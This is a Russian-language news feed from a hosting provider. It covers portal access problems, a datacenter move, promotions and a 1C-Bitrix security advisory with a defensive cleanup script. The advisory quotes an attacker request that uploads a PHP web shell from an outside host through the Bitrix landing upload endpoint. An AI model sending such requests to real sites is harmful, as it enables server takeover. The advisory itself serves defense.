Сложности с доступом к Личному кабинету у некоторых клиентов



В последние недели мы фиксируем рост числа обращений от пользователей, которые испытывают сложности с доступом к Личному кабинету my.firstvds.ru

Проблема проявляется у некоторых абонентов разных интернет-провайдеров, включая мобильные, домашние и корпоративные сети, независимо от типа устройства или операционной системы.

Наши системы мониторинга и журналы доступа показывают, что инфраструктура сервиса работает штатно. Сбоев или ограничений на стороне FirstVDS не зафиксировано.

В чём может быть проблема
Мы проанализировали обращения и характерные сетевые симптомы и определили, что ограничения могут возникать из-за работы внешних систем фильтрации трафика, которые используют некоторые операторы связи.

В ряде случаев блокировка происходит не по IP-адресу ресурса, а на основании анализа сетевого трафика. На оборудовании глубокой инспекции пакетов (DPI) анализ может выполняться внутри зашифрованных HTTPS / SSL / TLS-сессий, в том числе по признакам, характерным для протоколов или туннелей, мимикрирующих под обычный HTTPS-трафик.

Ограничения могут проявляться в виде:
  • обрывов TLS-соединения на этапе установки сессии;
  • отсутствия ответа сервера после отправки Client Hello;
  • длительных таймаутов без установления защищённого соединения.
Данное поведение не связано с работоспособностью сервиса, серверной инфраструктуры или сетевых ресурсов компании и находится вне зоны нашего контроля.

Для быстрой проверки рекомендуем:
  • открыть Личный кабинет, используя мобильный интернет другого оператора;
  • подключиться к другой сети (например, к домашнему Wi-Fi вместо корпоративного);
  • проверить доступ с другого устройства.
При смене интернет-провайдера, типа подключения или маршрута передачи данных меняются сетевые параметры соединения. В результате трафик может перестать подпадать под правила фильтрации, и доступ к сервису восстанавливается.

Если вы наблюдаете данные симптомы, то это подтверждает, что проблема на уровне фильтрации вашего интернет-провайдера.

Что можно сделать сейчас
В качестве временных решений рекомендуем:
  • Использовать альтернативное подключение, если есть такая возможность.
  • Обратиться в техническую поддержку вашего провайдера и сообщить о проблеме. Обращения позволяют операторам быстрее выявлять и устранять подобные ошибки фильтрации.
Пример обращения к провайдеру:
Прошу зарегистрировать инцидент: отсутствует доступ к ресурсу my.firstvds.ru. Сайт открывается через сети других операторов, но недоступен через вашу сеть. Прошу проверить корректность фильтрации и маршрутизации трафика до указанного ресурса.

Что делаем мы
Мы фиксируем все обращения, связанные с проблемами доступа в Личный кабинет, анализируем сетевые симптомы и взаимодействуем с профильными организациями, чтобы в будущем исключить проблемы. Спасибо за понимание.

Если вы хотите помочь нам быстрее разобраться в ситуации
При обращении в поддержку, пожалуйста, по возможности частично или полностью укажите следующую информацию:
Регион и город, из которого осуществляется подключение.
Интернет-провайдер (название компании).
Тип подключения:
  • мобильный интернет,
  • домашний интернет,
  • корпоративная сеть.
Внешний IP-адрес вашего подключения
(его можно определить на сайтах 2ip.ru или myip.ru).
Какие ресурсы недоступны:
  • Личный кабинет (my.firstvds.ru),
  • основной сайт
  • другие сервисы FirstVDS
Меняется ли ситуация при подключении через другую сеть
(например, мобильный интернет вместо Wi-Fi, VPN).
Примерное время и дата, когда проблема наблюдалась.
Результат MTR до my.firstvds.ru (если есть возможность)

Обратите внимание:
  • ICMP-запросы к биллингу могут быть недоступны — это нормально;
  • для диагностики предпочтительно использовать TCP MTR на порт 443;
  • если MTR обрывается или показывает потери на промежуточных узлах — это также полезная информация.
Если Личный кабинет для создания тикета недоступен, воспользуйтесь чатом на сайте.

Серверы с локацией Нидерланды теперь будут размещаться в дата-центре Qupra DC2



Открываем новую площадку в Амстердаме — Qupra DC2.

Qupra — надёжный оператор с 30-летним опытом работы. ЦОД спроектирован в соответствии с высокими стандартами безопасности, оснащён резервированными системами электроснабжения и кондиционирования. Подробнее о преимуществах новой площадки рассказали здесь.

Все серверы, расположенные в euNetworks, перенесли в новый дата-центр. Миграция прошла бесшовно: стоимость аренды серверов не изменилась, а все услуги работают в штатном режиме.

Риск DOS-атак на 1C-Битрикс: удалите демо-компоненты



За последнюю неделю наша техническая поддержка фиксирует участившиеся попытки несанкционированно регистрировать новых пользователей через демо-компоненты 1С-Битрикс.

Что такое «демо-компоненты». Это тестовый набор информации (пользователи, товары, статьи), который система устанавливает «из коробки», чтобы сразу показать свои возможности. Вендор требует удалять все установочные и демо-компоненты, внимательно настраивать опции самостоятельной регистрации пользователей при запуске реального сайта.

Впервые о проблеме заговорили более двух лет назад. Некорректная настройка системы позволяет злоумышленнику зарегистрироваться на сайте под видом обычного пользователя, даже если администратор полностью отключил публичную регистрацию в настройках. Это происходит из-за неудаленной демо-формы с возможностью самостоятельной регистрации пользователя.

Если в вашей админ-панели постоянно добавляются пользователи с логином bitrixsupport_, возможно, ваш проект настроен неправильно.

Как это работает
Злоумышленник пользуется тем, что администратор не отключил самостоятельную регистрацию пользователей. Он создаёт фейковые учётные записи с именами, начинающимися на bitrixsupport_, чтобы маскировать их под технические. А затем использует их для создания избыточной нагрузки. Проблема временно устраняется только после полной перезагрузки сервера или веб-сервера.

После успешной регистрации пользователи bitrixsupport_ выполняют запросы вида:
POST /bitrix/tools/landing/ajax.php?action=Site::uploadFile

с нагрузкой
data[picture]=http://sql.bling.org/bx/<ваш_домен>.<ru>_xx/.description.php

в попытке загрузить php-шелл на сервер.

Нам попадались случаи, где такой запрос провоцировал DOS, но это не приводило к загрузке веб-шелла.

Попытка выполнения запроса от пользователя без регистрации приводит к ошибке «Недостаточно прав», и такое соединение сразу же закрывается в отличие от запросов пользователей bitrixsupport_.

DOS-атака может задевать apache веб-сервер, тогда сайт начинает отдавать 504 ошибку (Gateway Timeout) или MySQL начинает отдавать ошибку Error 1040: Too Many Connections.

Что нужно сделать
Удалите ненужных пользователей с префиксом bitrixsupport_.
Запомните: «1С-Битрикс» никогда не создает на ваших сайтах или в Битрикс24 неизвестные учётные записи. Такие аккаунты могут появиться только по вашей инициативе или в результате действий злоумышленника.

Как удалить. Перейдите в административную панель 1С-Битрикс по адресу:

/bitrix/admin/user_admin.php

Найдите и удалите всех пользователей с префиксом bitrixsupport_— это не системные аккаунты, они не нужны и небезопасны.

Обновите 1С-Битрикс до последней версии.
Выполните перезапуск сервера или веб-сервера Apache/Nginx, чтобы очистить соединения и завершить сессии.
Для дополнительной безопасности ограничьте доступ к формам регистрации.
Для автоматизации администратор может использовать скрипт, который сделает всё автоматически.
#!/bin/bash

# Bitrix Reg Security Fix v.0.0.5 beta - защита от уязвимости регистрации
# 1. .htaccess - блокирует регистрацию пользовталей в ядре 1С Битрикс через демо-скрипты Bitrix
# 2. MySQL - удаляет пользователей bitrixsupport_* с подтверждением
# 3. nginx - блокирует все ?register=yes запросы с подтверждением
#            может сломать некоторые скрипты на сайте
#            перед использованием нужно проконсультироваться с разработчиком
#
# Автоматически определяет Bitrix Env, Docker, ISP Manager, проверяет nginx синтаксис до и после правок
# Применение скрипта на свой страх и риск
#
# Дебаг
# set -x -v

red="$(tput setaf 1)$(tput bold)"
green="$(tput setaf 2)$(tput bold)"
reset="$(tput sgr0)"

# show script version
self_current_version="Bitrix Reg Security Fix v.0.0.5 beta"
printf "\n${green}$self_current_version\n${reset}"

# check privileges
if [[ $EUID -ne 0 ]]; then
	printf "\n${red}ERROR${reset} - This script must be run as root" 
	exit 1
fi

# one instance run lock
LOCKFILE=/tmp/bitrix_reg_fix.lock
exec 9>$LOCKFILE

if ! flock -n 9; then
    echo
    if command -v lsof >/dev/null 2>&1; then
        PID=$(lsof -t "$LOCKFILE" 2>/dev/null | grep -v "^$$\$" | head -n1)
        printf "%s is ${red}already locked${reset} by PID %s\n\n" "$LOCKFILE" "$PID"
    elif command -v fuser >/dev/null 2>&1; then
        PID=$(fuser "$LOCKFILE" 2>/dev/null | tr ' ' '\n' | grep -v "^$$\$" | head -n1)
        printf "%s is ${red}already locked${reset} by PID %s\n\n" "$LOCKFILE" "$PID"
    else
        printf "%s ${red}already exists${reset}\n\nInstall 'lsof -t' or 'fuser' to see the PID.\n" "$LOCKFILE"
    fi
    exit 1
fi

trap 'exec 9>&-; rm -f "$LOCKFILE"' EXIT

bitrix_fix_reg_paths () {
    echo
    if ! command -v nginx &> /dev/null; then
        echo "${red}ERROR.${reset} Nginx was not found"
        return 1
    fi

    echo "${green}Checking nginx paths${reset}" && echo

    htaccess_directives=("Order allow,deny" "Deny from all")
    
    # Define relative paths to check/create .htaccess files
    rel_paths=(bitrix/wizards/bitrix/demo/public_files/ru/auth/.htaccess \
               bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/.htaccess \
               bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/.htaccess \
               bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/.htaccess \
               install/wizards/bitrix/infoportal/site/public/ru/personal/profile/.htaccess \
               install/wizards/bitrix/infoportal/site/public/ru/board/my/.htaccess)
    
    # Find all nginx root directives (standard root)
    mapfile -t roots < <(grep -RhoP '^\s*root\s+"?\K[^";]+' /etc/nginx | tr -d '"' | sort -u)
    
    # Find all nginx root_path directives (set $root_path)
    mapfile -t root_paths < <(grep -RiIn "root_path " /etc/nginx | grep -oP 'set \$\w+\s+\K[^;]+' | tr -d ';' | tr -d '"' | sort -u)
    
    # Combine both types of paths
    all_paths=("${roots[@]}" "${root_paths[@]}")
    
    # Remove duplicates while preserving order
    declare -A seen
    unique_paths=()
    for path in "${all_paths[@]}"; do
        if [[ ! "${seen[$path]}" ]]; then
            seen["$path"]=1
            unique_paths+=("$path")
        fi
    done
    
    targets=()
    
    for root in "${unique_paths[@]}"
    do
        # Clean up path (remove trailing spaces/special characters)
        root=$(echo "$root" | xargs)
        
        for rel in "${rel_paths[@]}"
        do
            f="$root/$rel"
            d="$(dirname "$f")"
            
            # Check if directory exists
            if [ -d "$d" ]; then
                if [ -f "$f" ]; then
                    all_directives_exist=true
                    for directive in "${htaccess_directives[@]}"; do
                        if ! grep -q "^[[:space:]]*$directive" "$f"; then
                            all_directives_exist=false
                            break
                        fi
                    done
                    
                    if [ "$all_directives_exist" = false ]; then
                        printf '[DRY-RUN] would update: %s %s(file exists and will be updated)%s\n' "$f" "$green" "$reset"
                        targets+=("$f")
                    fi
                else
                    printf '[DRY-RUN] would create: %s %s(not exist, will be created)%s\n' "$f" "$green" "$reset"
                    targets+=("$f")
                fi
            fi
        done
    done
    
    [ "${#targets[@]}" -ne 0 ] && {
        printf '\nApply changes? [Y/n]: '
        read -r ans
        case "${ans:-Y}" in
            Y | y)
                for f in "${targets[@]}"
                do
                    if [ -f "$f" ]; then
                        temp_file="$(mktemp)"
                        printf "Order allow,deny\nDeny from all\n\n" > "$temp_file"
                        \cat "$f" >> "$temp_file"
                        temp_result="$(mktemp)"
                        \head -n 2 "$temp_file" > "$temp_result"
                        \tail -n +3 "$temp_file" | \
                        \grep -v "^[[:space:]]*Order allow,deny$" | \
                        \grep -v "^[[:space:]]*Deny from all$" >> "$temp_result"
                        \mv -f "$temp_result" "$f"
                        \rm -f "$temp_file"
                        printf '[OK] updated: %s\n' "$f"
                    else
                        mkdir -p "$(dirname "$f")"
                        printf "Order allow,deny\nDeny from all\n\n" > "$f"
                        printf '[OK] created: %s\n' "$f"
                    fi
                done
            ;;
            *)
                printf 'Aborted\n'
            ;;
        esac
    } || printf "${green}No Bitrix paths found in nginx that need updating${reset}\n"
}

mysql_all_db_del_bitrixsupport () {
	echo

	found_any=0
	mysql_accessible=0

	check_mysql_connection() {
		local container_id="$1"
		if [[ -n "$container_id" ]]; then
			docker exec "$container_id" mysql -e "SELECT 1;" &>/dev/null
		else
			mysql -e "SELECT 1;" &>/dev/null
		fi
	}

	process_deletion_confirm() {
		local db="$1"
		local container_id="$2"
		local container_image="$3"

		echo -e "${red}Found bitrixsupport_% users${reset}\nDatabase: $db\nContainer: ${container_image:-local} (${container_id:-host})\n"

		if [[ -n "$container_id" ]]; then
			docker exec "$container_id" mysql -e \
			"USE $db; SELECT ID,LOGIN,DATE_REGISTER FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" | column -t 2>/dev/null
		else
			mysql -e \
			"USE $db; SELECT ID,LOGIN,DATE_REGISTER FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" | column -t 2>/dev/null
		fi

		echo
		read -r -p "Delete these users from $db? [Y/n] " yn </dev/tty
		yn=${yn:-Y}

		if [[ "$yn" =~ ^[Yy]$ ]]; then
			if [[ -n "$container_id" ]]; then
				docker exec "$container_id" mysql -N -e \
				"USE $db; DELETE FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null
			else
				mysql -N -e \
				"USE $db; DELETE FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null
			fi

			if [[ -n "$container_id" ]]; then
				remaining=$(docker exec "$container_id" mysql -N -e \
				"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)
			else
				remaining=$(mysql -N -e \
				"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)
			fi

			if [[ "$remaining" -eq 0 ]]; then
				echo -e "${green}No remaining bitrixsupport_% users in ${container_image:-local} $db (${container_id:-host})${reset}"
				echo
			else
				echo -e "${red}Users still exist in $db${reset}"
				echo
			fi
		else
			echo "Skipping deletion for bitrixsupport_% users in ${container_image:-local} $db (${container_id:-host})"
			echo
		fi
	}

	# Docker MySQL
	if command -v docker &>/dev/null; then
		while read -r id image; do
			echo "$image" | grep -qiE 'percona|mysql|mariadb' || continue

			check_mysql_connection "$id" || {
				echo "${red}ERROR.${reset} Cannot connect to MySQL in container $image ($id)"
				continue
			}

			mysql_accessible=1

			dbs=$(docker exec "$id" mysql -N -e "SHOW DATABASES" 2>/dev/null | \
			      grep -Ev '^(information_schema|performance_schema|mysql|sys)')

			while read -r db; do
				[[ -z "$db" ]] && continue

				docker exec "$id" mysql -N -e \
				"USE $db; SHOW TABLES LIKE 'b_user';" 2>/dev/null | grep -q b_user || continue

				users=$(docker exec "$id" mysql -N -e \
				"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)

				if [[ "$users" -gt 0 ]]; then
					found_any=1
					process_deletion_confirm "$db" "$id" "$image"
				fi
			done <<< "$dbs"
		done < <(docker ps --format '{{.ID}} {{.Image}}')
	fi

	# Local MySQL
	if command -v mysql &>/dev/null; then
		check_mysql_connection "" || {
			echo "${red}ERROR.${reset} Cannot connect to local MySQL"
			return
		}

		mysql_accessible=1
		dbs=$(mysql -N -e "SHOW DATABASES" 2>/dev/null | \
		      grep -Ev '^(information_schema|performance_schema|mysql|sys)')

		while read -r db; do
			[[ -z "$db" ]] && continue

			mysql -N -e "USE $db; SHOW TABLES LIKE 'b_user';" 2>/dev/null | grep -q b_user || continue

			users=$(mysql -N -e \
			"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)

			if [[ "$users" -gt 0 ]]; then
				found_any=1
				process_deletion_confirm "$db" "" ""
			fi
		done <<< "$dbs"
	fi

	[[ $found_any -eq 0 && $mysql_accessible -eq 1 ]] && \
	echo -e "${green}Users like bitrixsupport_% were not found in any MySQL DBs${reset}"
}

block_all_register_in_nginx () {
    echo
    CONF_FILE="/etc/nginx/bx/conf/bitrix.conf"
    DENY_CODE='# Deny 1C site user registration \nif ($arg_register = "yes") {\n  return 403;\n}\n'
    MGR_BIN="/usr/local/mgr5/sbin/mgrctl"
    
    function check_nginx ()
    {
        nginx -t &> /dev/null
    }
    
    function apply_fix ()
    {
        local target_file="$1" config_type="$2"
        
        # Check if fix already applied
        grep -Eq '^[[:space:]]*if[[:space:]]*\(\$arg_register[[:space:]]*=[[:space:]]*"yes"\)' "$target_file" 2> /dev/null && {
            echo "${green}\"?register=yes\" URL arguments already blocked in $target_file${reset}"
            return 0
        }
        
        echo "${red}DANGEROUS. Check with the developer first${reset}"
        read -rp "Block all \"?register=yes\" URL arguments globally in nginx? [y/N]: " answer
        answer=${answer:-N}
        [[ ! "$answer" =~ ^[Yy]$ ]] && return 1
        
        if [[ "$config_type" == "direct" ]]
        then
            # Direct modification of nginx config
            check_nginx || {
                echo "${red}nginx -t failed before fix${reset}"
                return 1
            }
            \cp -f "$target_file" "$target_file.bak"
            echo -e "$DENY_CODE" > "$target_file.tmp"
            cat "$target_file.bak" >> "$target_file.tmp"
            \mv -f "$target_file.tmp" "$target_file"
        else
            # Create include file for ISP Manager
            echo -e "$DENY_CODE" > "$target_file"
        fi
        
        if check_nginx && systemctl restart nginx
        then
            echo -e "${green}All \"?register=yes\" URL arguments successfully blocked in $target_file${reset}\nNginx restarted successfully"
            [[ "$config_type" == "direct" ]] && \rm -f "$target_file.bak"
            return 0
        else
            echo "${red}nginx -t failed after fix${reset}"
            [[ "$config_type" == "direct" ]] && \mv -f "$target_file.bak" "$target_file" || \rm -f "$target_file"
            check_nginx && echo "${green}Reverting success. No changes was made.${reset}" || \
                echo "${red}Nginx configtest error. Check nginx -t manually.${reset}"
            return 1
        fi
    }
    
    # Main logic: apply fix based on environment
    if [[ -f "$CONF_FILE" ]]
    then
        apply_fix "$CONF_FILE" "direct"
    else
        if [[ -x "$MGR_BIN" ]]
        then
            apply_fix "/etc/nginx/vhosts-includes/bitrix_reg_global_deny.conf" "include"
        else
            echo "${red}No /etc/nginx/bx/conf/bitrix.conf or ISP Manager were found. Cannot apply fix.${reset}"
            return 1
        fi
    fi
}

# Execute all three security fixes
bitrix_fix_reg_paths
mysql_all_db_del_bitrixsupport
block_all_register_in_nginx


Как ограничить регистрацию на демо-страницах
Если регистрация пользователей на сайте не требуется, добавьте следующий блок в начало файла /etc/nginx/bx/conf/bitrix.conf:
#Deny 1C site user registration
if ($arg_register = "yes") {
    return 403;
}

Если регистрация в целом нужна, но нужно закрыть устаревшие формы:

Добавьте файлы .htaccess со следующим содержимым:
Order allow,deny
Deny from all

Добавьте их в директории (только если они существуют):
bitrix/wizards/bitrix/demo/public_files/ru/auth/.htaccess
bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/.htaccess
bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/.htaccess
bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/.htaccess
install/wizards/bitrix/infoportal/site/public/ru/personal/profile/.htaccess
install/wizards/bitrix/infoportal/site/public/ru/board/my/.htaccess

Рекомендуем проверить ваш проект как можно скорее.

Дед Мороз кешбэк принес!



Дед Мороз заглянул к вам заранее и принес подарок: с ним услуги точно не остановятся в самый неподходящий момент.

С 17 по 29 декабря при пополнении баланса от рекомендуемой суммы и выше вы получите кешбэк 10%.

Рекомендованную сумму можно узнать в форме пополнения на сайте или в Личном кабинете — мы уже всё подсказали. Пополнять баланс можно любым удобным способом, ограничений по количеству платежей нет.

Условия акции
  • Срок проведения акции — с 17 декабря 10:00 (мск) по 29 декабря 23:59 (мск).
  • Для получения кешбэка у пользователя должен быть минимум один VDS в статусе «активен» или «остановлен».
  • Пополнить баланс можно любым доступным способом.
  • Максимальная сумма кешбэка и количество платежей в течение акции не ограничено.
  • Кешбэк от суммы платежа зачисляется на баланс аккаунта сразу же после поступления основных средств.
  • Кешбэк можно использовать только для оплаты услуг FirstVDS.
  • Денежный эквивалент кешбэка выплате не подлежит, перевод кешбэка между аккаунтами не предусмотрен.
  • Обратите внимание: при выводе средств с баланса кешбэк аннулируется.

firstvds.ru

Изменение цен на домены с 23 декабря 2025 года



23 декабря 2025 года изменится стоимость регистрации новых и продления уже используемых доменных имён в зонах .ru,.рф, .com, .org, .net, .pro, .info и .biz



Если срок регистрации вашего домена подходит к концу, то до 23 декабря вы можете продлить его по текущей стоимости. Актуальные цены всегда можно посмотреть на нашем сайте или в Личном кабинете, в разделе «Товары».

Внутри билет на вечеринку




Вечеринка в честь нашего 23-летия в самом разгаре, и мы сохранили для вас место на танцполе. Ловите официальное приглашение в амбициознейший проект сезона – танцевальный флешмоб FirstVDS.

Детали мероприятия:
  • Место проведения: виртуальный танцпол.
  • Для кого: для вас и ваших друзей.
  • Дресс-код: наличие активного сервера.
  • Гвоздь программы: розыгрыш техники Apple.
firstvds.ru/actions/lets_dance


!!! Горячее предложение: только во время акции к заказу доступны лимитированные тарифы «DISCO» и «TECHNO». Заказ такого сервера даёт плюс один шанс на победу в розыгрыше, а специальная цена сохраняется при продлении аренды. Успевайте!


Важно: 22 декабря в 23:59 (мск) сбор участников и набор шансов завершится. Так что сейчас самое время укрепить свои позиции перед розыгрышем.

P.S. в нашем телеграм-канале спрятаны пасхальные сертификаты на пополнение баланса. Тссс, только никому! t.me/TakeFirstNews

Изменение цен на домены с 23 декабря 2025 года



23 декабря 2025 года изменится стоимость регистрации новых и продления уже используемых доменных имён в зонах .ru,.рф, .com, .org, .net, .pro, .info и .biz



Если срок регистрации вашего домена подходит к концу, то до 23 декабря вы можете продлить его по текущей стоимости. Актуальные цены всегда можно посмотреть на нашем сайте или в Личном кабинете, в разделе «Товары».

Танцуют все: акция в честь Дня рождения FirstVDS







Сегодня мы официально зажгли праздничный танцпол в честь нашего Дня рождения. Атмосфера начала нулевых, виртуальный драйв и реальные призы — всё, чтобы вы вместе с нами почувствовали атмосферу праздника.

На разогреве — скидка  30% на новые VDS

Промокод на скидку доступен на танцполе на странице акции. Скидка по промокоду сработает на любой срок заказа VDS при единовременной оплате за этот период (1, 3, 6 или 12 месяцев).

Главные хиты дискотеки — лимитированные тарифы

Стоимость спецтарифов фиксируется на всё время действия сервера.

Залетайте на танцпол и участвуйте в розыгрыше призов:

  • MacBook Pro (14", M4 Pro),
  • iPhone 17 Pro Max,
  • AirPods Max,
  • сертификаты на баланс номиналом  2000 ₽.

Правила простые: авторизуйтесь, начните свой танцевальный сет и зажигайте, как во времена Winamp, хип-хопа и лазерных шоу! Держите ритм: возвращайтесь каждый день и пробуйте коктейли — это увеличит шанс получить подарки.

Подписывайтесь на наш Телеграм-канал, чтобы узнавать о важных событиях и секретных сертификатах первыми! t.me/TakeFirstNews

Танцевать будем?



Нам исполняется 23 года! Немало для нашей сферы, но с каждым годом мы только набираем обороты и драйв. И в этот раз энергии накопилось столько, что ноги сами ведут на танцпол.

Праздничное настроение, атмосфера нулевых, немного безумия и много танцев — всё это мы собрали в одну акцию.

И щедро добавили к этому:
  • лимитированные тарифы,
  • скидки на заказ VDS,
  • розыгрыш техники Apple.

t.me/TakeFirstNews

Скидки на лицензии Битрикс только до конца декабря!



Добавьте лицензию Битрикс в список новогодних покупок! До конца месяца можно приобрести любую лицензию со скидкой:
  • 20% на «1С-Битрикс: Управление сайтом».
  • 15% на «1С-Битрикс24: Интернет-магазин + CRM» и «1С-Битрикс: Корпоративный портал».
Акция распространяется на первую покупку любой лицензии «1С-Битрикс: Управление сайтом» в редакциях «Старт», «Стандарт», «Малый бизнес» и «Бизнес», а также «1С-Битрикс24: Интернет-магазин + CRM» и «1С-Битрикс: Корпоративный портал» на 50, 100, 250 и 500 пользователей.
firstvds.ru/services/bitrix-license

Но это ещё не всё! Также до 31 декабря можно повысить тариф действующей лицензии со скидкой 25%. Для этого напишите тикет в Личном кабинете с темой «Апгрейд лицензии Битрикс».